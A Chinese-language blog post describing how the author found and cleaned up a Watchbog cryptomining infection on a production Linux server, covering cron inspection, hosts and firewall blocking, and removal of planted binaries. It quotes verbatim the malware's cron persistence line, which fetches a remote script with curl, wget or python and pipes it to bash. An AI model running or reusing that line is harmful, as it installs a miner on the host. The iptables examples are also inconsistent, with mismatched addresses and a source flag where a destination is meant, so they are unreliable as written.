记一次生产服务器Watchbog挖矿病毒程序排查过程

概述

最近运气不太好,居然有台服务器被挖矿了,下面记录下问题发生的过程和解决方法,仅供参考。


一、Watchbog挖矿病毒

1、服务器收到cpu报警,cpu被占用达到100%,登录服务器查看,发现cpu被一个watchbog的进程占满了,如下图所示:

记一次生产服务器Watchbog挖矿病毒程序排查过程

2、杀掉会话

发现用kill杀掉后,这个进程还是会隔一会自动起来,很明显被加入了定时任务,检查所示:

*/9 * * * * (curl -fsSL https://raw.githubusercontent.com/luckysBoys/lucks/master/555.sh||wget -q -O- https://raw.githubusercontent.com/luckysBoys/lucks/master/555.sh||python -c 'import urllib2 as fbi;print fbi.urlopen("ht
tps://github.com/luckysBoys/lucks/blob/master/5.sh").read()'||curl -fsSL https://raw.githubusercontent.com/luckysBoys/lucks/master/555.sh||wget -q -O - https://raw.githubusercontent.com/luckysBoys/lucks/master/555.sh||curl -fsSLk https://raw.githubusercontent.com/luckysBoys/lucks/master/555.sh -m 90||wget -q -O - https://raw.githubusercontent.com/luckysBoys/lucks/master/555.sh --no-check-certificate -t 2 -T 60)|bash

记一次生产服务器Watchbog挖矿病毒程序排查过程

打开这个URL,发现像是一堆base64的密文,密文地址。

3、当清除掉定时任务的内容之后,隔了一会,其又被加入了如上一模一样的内容,所以该病毒程序不是一般的病毒程序。

4、经过后来的了解,发现该进程watchbog为被植入的挖矿程序,该程序会在cron下面写入脚本,定期去pastebin.com下载木马开始挖矿,如果删除不彻底仍然会不定期启动这个挖矿程序。


二、解决过程

1、 修改/etc/hosts

通过观察定时任务内容,可以发现几个恶意网址,分别如下:

1)raw.githubusercontent.com
2)github.com

先将上述这些地址重定向到本地

记一次生产服务器Watchbog挖矿病毒程序排查过程

2、防火墙控制出入流量

将上述被攻击者携带的域名所对应的的ip地址进行ip限制。

--比如raw.githubusercontent.com对应的ip为10.20.208.21
iptables -A INPUT -s 10.20.209.21 -j DROP
iptables -A OUTPUT -s 10.20.209.21 -j DROP
iptables -A OUTPUT -j DROP -d 10.20.209.2
--保存修改内容
/sbin/service iptables save

3、移除curl get脚本

因为该挖矿程序会借助curl、wget命令去下载病毒,所以第一时间我们需要进行如下操作:

mv /usr/bin/curl /usr/bin/lruc
mv /usr/bin/wget /usr/bin/tegw

如果确认病毒彻底被删除,我们可以不需要操作。

4、 删掉cron里面的相关任务

crontab -l 
/etc/cron.d 
/etc/cron.deny 
/etc/cron.monthly 
/etc/cron.daily 
/etc/cron.hourly 
/etc/crontab 
/etc/cron.weekly

上述8个与cron相关的文件目录我们都需要仔细检查一遍,凡是有关不知名的域名等信息都要彻底删除。

1) crontab -l

记一次生产服务器Watchbog挖矿病毒程序排查过程

2)/etc/cron.d

该目录下新增了好几个命令:appache、root、system

记一次生产服务器Watchbog挖矿病毒程序排查过程

3)/etc/cron.deny

记一次生产服务器Watchbog挖矿病毒程序排查过程

没有发现

4)/etc/cron.monthly

记一次生产服务器Watchbog挖矿病毒程序排查过程

5)/etc/cron.daily

记一次生产服务器Watchbog挖矿病毒程序排查过程

6)/etc/cron.hourly

记一次生产服务器Watchbog挖矿病毒程序排查过程

7)/etc/crontab

在crontab文件中还发现了新的潜藏命令httpntp、ftpdns

记一次生产服务器Watchbog挖矿病毒程序排查过程

8)/etc/cron.weekly

记一次生产服务器Watchbog挖矿病毒程序排查过程

没有发现

最后在用find过滤一遍,确保完全清除干净。

5、 删除恶意命令

同时我们还发现了恶意命令/bin/httpntp、/bin/ftpsdns、/usr/bin/watchbog

记一次生产服务器Watchbog挖矿病毒程序排查过程

记一次生产服务器Watchbog挖矿病毒程序排查过程

之所以看到这些恶意命令,是从定时任务日志(/var/log/cron)中发现的。

记一次生产服务器Watchbog挖矿病毒程序排查过程

6、 删除tmp目录下timesyncc.service文件

文件详情如下:

记一次生产服务器Watchbog挖矿病毒程序排查过程

7、杀掉watchbog进程

ps -ef|grep watchbog|awk '{print $2}'|xargs kill -9

总结

面对挖矿进程我简单总结了以下几点,如果遇到挖矿进程处理先后顺序如下:

1)查看定时任务,找到挖矿程序在执行的内容。

2)将恶意网址的hosts全部重定向到本地(127.0.0.1)

3)仔细查看审核与定时任务有关的文件和目录,进行清除

4)删除恶意的命令与包,重命名系统中被利用的命令

5)杀掉对应恶意进程(为什么放到最后呢?因为就算最早杀掉,其还是会因为定时任务等等自动启动)

觉得有用的朋友多帮忙转发哦!后面会分享更多devops和DBA方面的内容,感兴趣的朋友可以关注下~

记一次生产服务器Watchbog挖矿病毒程序排查过程